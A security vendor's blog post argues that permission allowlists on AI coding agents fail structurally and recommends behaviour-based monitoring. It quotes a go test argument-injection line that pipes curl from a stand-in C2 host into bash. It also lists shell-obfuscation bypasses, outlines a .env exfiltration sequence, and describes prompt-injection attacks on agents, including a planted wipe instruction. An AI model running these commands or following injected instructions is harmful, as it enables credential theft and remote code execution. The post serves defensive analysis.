540 Allow Rules and One Way Around All of Them: The AI Agent Allowlist Blind Spot

What the Audit Found

Last week we read through the permission configuration on a customer’s AI coding agent. Not a lab setup or a contrived example — an agent with a real credential, working against a real production repository.

540 allow rules. Zero deny rules.

The rules themselves were not careless. They had accumulated the way these configs always accumulate: an agent asks to run something, a developer approves it once, the approval is remembered, and the file grows. Most entries were narrow and specific. A particular test runner. A particular linter. A particular git subcommand.

Two of the 540 permitted arbitrary shell and arbitrary Python.

Those two entries make the other 538 decorative, because any command in the world can be written as bash -c. The specificity of the remaining rules is not wrong, exactly. It is simply irrelevant, in the way that a deadbolt is irrelevant on a door standing open beside it.

So consider a sequence like this one:

• Read the .env file in the working directory.
• Base64-encode its contents.
• POST the result to an external endpoint.

Every step permitted. Zero policy violations. Nothing raised, nothing logged as unusual, nothing to alert on. The permission system worked exactly as configured, and the configuration is a credential exfiltration pipeline.

The Instinct Is to Tighten the Allowlist. It Does Not Work.

That was our instinct too. Remove the two wildcard entries, enumerate what the agent genuinely needs, and get back to a config that means something.

It fails, and it fails structurally rather than through insufficient care. The published research on this is now unambiguous, and it has arrived quickly.

Allowlists check commands. Attacks live in arguments.

Trail of Bits demonstrated the general case in October 2025: agentic systems validate the command against an allowlist and then hand the arguments through untouched. A pre-approved go test becomes remote code execution via go test -exec 'bash -c "curl c2-server.evil.com | bash"'. A regex filter is defeated by writing a payload with git show and executing it with ripgrep’s --pre flag. They achieved RCE on three separate agent platforms, and characterized the pattern as common across products with command execution.

Blanket-blocking arguments is not a fix. The flag space of ordinary developer tooling is enormous, and a meaningful fraction of it is a code execution primitive by design. --exec, --pre, -o ProxyCommand, --upload-file, editor and pager invocations. You are not writing a policy. You are attempting to enumerate every intentional extension point in the Unix userland.

The guard reads text. The shell rewrites it.

In May 2026, researchers at Adversa published a survey of eleven open-source coding agents under the name GuardFall. Ten of the eleven left the agent-to-bash boundary exploitable, in four distinct patterns: guards built on regex over raw strings that were completely defeated, guards that tokenize but incompletely, agents shipping no static guard at all, and sandboxes with a local opt-out that developers routinely take.

The root cause they identify is worth stating precisely, because it explains why better regexes do not help: a guard inspects raw text, while the shell expands, unquotes, and rewrites that text before running it. The guard and the interpreter are reading two different programs. r''m is not rm to a string matcher and is exactly rm to bash. $IFS supplies a space the filter never saw. Command substitution hides the verb entirely. Base64 piped into an interpreter hides everything.

In one agent, 16 of 16 test cases leaked. In another, 22 of 23. The one implementation that held tokenized properly, resolved substitutions recursively, checked pipe destinations, and matched against an explicit disabled list — five sequential controls to make a command allowlist mean what it appears to mean.

Even the built-ins get out.

CVE-2026-22708 covers Cursor prior to version 2.3: in Auto-Run Mode with an allowlist configured, shell built-ins such as export, unset, and set bypassed allowlist validation entirely, because only external commands were being checked. The exploitation path is quiet and completely deniable. Poison the environment through a built-in, then let the developer approve something ordinary like git branch and watch it execute the attacker’s code through a modified variable. The approval workflow was never triggered, because from the workflow’s point of view nothing dangerous was ever proposed.

The Compromise Vector Is Data, Not Code

The second half of the problem is how an agent gets turned in the first place.

An agent can be redirected by nothing more than data it reads. A poisoned issue comment. A crafted document. A rule file or skill pulled from a community repository. A README in a dependency it installed this morning. No exploit, no payload, no malware, nothing for a signature to match — just text arriving in a context window that the model treats as instruction rather than content.

Measured prevalence is not marginal. The AIShellJack evaluation published in May 2026 ran 314 attack payloads covering 70 MITRE ATT&CK techniques against production coding assistants and reported success rates ranging from 41% to 84%. On the supply side, a Snyk scan of 3,984 published agent skills found 13.4% containing critical security issues, and 91% of the confirmed-malicious ones paired prompt injection with conventional malware.

OWASP formalized this in December 2025 with the Top 10 for Agentic Applications, the first peer-reviewed framework aimed specifically at autonomous agents. Three entries describe this article directly: ASI01 Goal Hijacking, ASI02 Tool Misuse and Exploitation — explicitly including an agent chaining safe tools into an unsafe sequence — and ASI03 Identity and Privilege Abuse, where agents inherit human or cached credentials.

The reference incident for ASI02 remains the Amazon Q Developer extension compromise of July 2025. An attacker with an over-scoped GitHub token committed a malicious prompt into a VS Code extension with more than 950,000 installs, instructing the agent to wipe local files and cloud resources using the AWS CLI tooling it legitimately held. Not one line of malware. The agent was the malware delivery mechanism, and every tool it used was on the list.

It is also worth being honest about the trajectory. OpenAI has stated publicly that prompt injection is unlikely to ever be fully solved, comparing it to scams and social engineering rather than to a patchable defect. Vendors face a direct tradeoff between blocking injection and preserving the functionality that makes agents useful. Planning as though an upstream fix is coming is not a plan.

Why Your Existing Stack Does Not See This

Here is the part that reframes the problem from an application security concern into a detection gap.

The agent does not appear in EDR. It is not malware. It is a legitimate, signed process doing precisely what it was installed to do, spawning child processes it is expected to spawn. There is no injection, no unsigned binary, no persistence mechanism, no known-bad hash. Endpoint tooling is behaving correctly when it stays silent.

It barely appears in the SIEM. Its API calls look like ordinary service account traffic, because that is exactly what they are. The credential is valid. The source is expected. The request rate is unremarkable. If anything is logged at all, it is authentication, and authentication succeeded.

Identity tooling has lost the thread. Machine identities now outnumber humans by roughly 109 to 1 in enterprise environments by Palo Alto Networks’ 2026 measure, up from 82 to 1 the year before, with AI agents accounting for the majority of the growth. Reported figures vary widely by methodology — KPMG puts it at 80 to 1, other surveys at 144 to 1 in cloud-native estates — but the direction is uncontested. Meanwhile 73% of secrets held by non-human identities carry excessive permissions, and 92% of organizations say their current IAM tooling cannot manage AI agent identities at all.

And most agents are simply unwatched. The 2026 State of AI Agent Security data puts mean monitoring coverage of production agents at roughly 52% — meaning close to half of all agents in production run with no security oversight or logging. That number has barely moved since December 2025, not because teams became less careful, but because deployment velocity outran governance. Separately, a survey of 200 CISOs found security teams can see only 44% of business-built agents, and 43% of organizations cannot inventory the AI tools in use across their workforce at all.

Put those together and the picture is a class of privileged, credential-holding, remotely-influenceable workers that the entire detection stack was never pointed at.

What Works Is Looking at Shape

If per-action policy cannot constrain an agent, the remaining question is what a compromised agent looks like across actions. That turns out to be a tractable question, and it does not require knowing anything about the allowlist.

• Credential read followed by novel egress. A secrets file, keychain, or token store is read, and shortly after, the agent contacts a destination it has never contacted before. Both steps are permitted. The pairing is the signal, and the novelty of the destination is doing most of the work.
• Writes to execution surfaces. A write to .git/hooks, a CI workflow file, a shell profile, an agent configuration file, or an MCP server definition. An allowlist sees a file write. What it is is persistence — the agent arranging for something to run later, outside the session anyone is watching.
• Task drift. A session that opened as “fix the typo in the README” is now reading auth.py, enumerating environment variables, or touching the deploy config. The stated objective and the observed behavior have diverged, which is what goal hijacking looks like from the outside regardless of how the hijack was delivered.
• Self-escalation. The agent modifying its own permission configuration, disabling a guard, taking a sandbox opt-out, or requesting broader credentials. This is unambiguous. Nothing legitimate needs it, and it is trivially detectable if anyone is looking at the config as a monitored object.
• Destructive volume. Mass deletion, bulk rewrites across unrelated paths, force pushes, or resource teardown. This is the Amazon Q shape, and it is the one case where rate and blast radius are genuinely informative.
• Obfuscation in the command stream. Base64 piped to an interpreter, $IFS substitution, nested command substitution, hex-encoded writes followed by execution. These are the GuardFall bypass classes. They are hard to block reliably and easy to notice after the fact, which is precisely the inversion this whole problem calls for.

None of that depends on the contents of the permission file. That is the point. Policy is a cheap pre-filter worth keeping — it removes noise and raises the effort required — but it is not a control, and treating it as one is how a config accumulates 540 rules and zero of the guarantees anyone believed it provided.

Where Intruex Fits

Intruex is an AI security operations platform: a coordinated team of specialist AI analysts that connects to the security tools and logs you already run and investigates every alert your environment produces. Agent monitoring is built into that same platform rather than bolted alongside it, for a specific reason — the findings need to land somewhere they will actually be worked.

Four things make the difference for this problem.

• Inventory and identity. Every agent registered and inventoried, each holding its own credential rather than borrowing a developer’s. Attribution stops being a forensic exercise, and revocation stops being a company-wide event.
• Telemetry that does not rely on the agent reporting honestly. A compromised agent’s self-reported activity log is exactly as trustworthy as the thing that was compromised. Activity is collected independently.
• Detectors that read behavior rather than policy. The shapes above, evaluated across a session and against that agent’s own history, rather than a per-command verdict rendered with no context.
• The same triage queue as everything else. Findings arrive where your other alerts arrive, get investigated the same way, with the same enrichment, confidence level, and plain-language reasoning attached. Response stays recommendation-first and approval-gated.

And to be straight about what this does and does not do. This is dwell time reduction, not prevention. A patient adversary taking one in-scope action per session, using tools the agent uses every day, is not reliably detectable by this or by anything else on the market that claims otherwise. What changes is the loud case: an agent that exfiltrates credentials, mass deletes, escalates its own privileges, or installs persistence gets caught in seconds rather than never. Given that the current baseline for roughly half of production agents is no monitoring at all, that is the interval that matters.

We wrote about this from the attacker’s side in the npm worm that weaponized developer AI agents, where poisoned packages fired payloads through agent hooks on folder open, and from the opposite direction in the gym booking API incident, where no attacker existed at all and a real record was destroyed anyway. This is the third face of the same object. In all three, every individual action was permitted, nothing matched a signature, and the only thing that would have caught it is somebody watching what the agent actually did.

That config had 540 rules, and someone still had to sit down and read it end to end to find out what it actually meant. That is not a story about one config. It is what happens when a control that reads per-action is applied to a worker that operates per-sequence, and the gap between those two things is where this entire category of incident is going to live.

Sources: the 540-rule figure is from an August 2026 Intruex audit of the permission configuration on a customer’s AI coding agent, with identifying details withheld; the exfiltration sequence described is illustrative of what that configuration permits, not an observed incident. Trail of Bits, “Prompt injection to RCE in AI agents,” October 2025, for argument injection against allowlisted commands. Adversa AI’s GuardFall research, 2026, for the eleven-agent survey, the four failure patterns, and the per-agent leak counts. CVE-2026-22708 and the corresponding Cursor security advisory for the shell built-in allowlist bypass. Liu et al., “How Agentic AI Coding Assistants Become the Attacker’s Shell,” arXiv:2605.25871, May 2026, for the AIShellJack evaluation, its 314 payloads across 70 MITRE ATT&CK techniques, and the 41–84% success range; the cited Snyk skill-scanning figures are reported within that work. OWASP Top 10 for Agentic Applications 2026, released December 2025, for ASI01, ASI02, and ASI03, and for the Amazon Q Developer extension compromise as its reference case. Palo Alto Networks 2026 Identity Security Landscape for the 109:1 machine-to-human identity ratio, with KPMG and other 2026 surveys cited for the range. Non-Human Identity Management Group for the 73% excessive-permissions figure. Gravitee State of AI Agent Security 2026 for agent monitoring coverage, and Nokod’s 2026 CISO survey for the 44% visibility figure. Identity ratio and monitoring-coverage statistics vary substantially by methodology and sample, and should be read as directional. The characterization of allowlist enforcement as structurally rather than incidentally inadequate is our own reading of the cited research.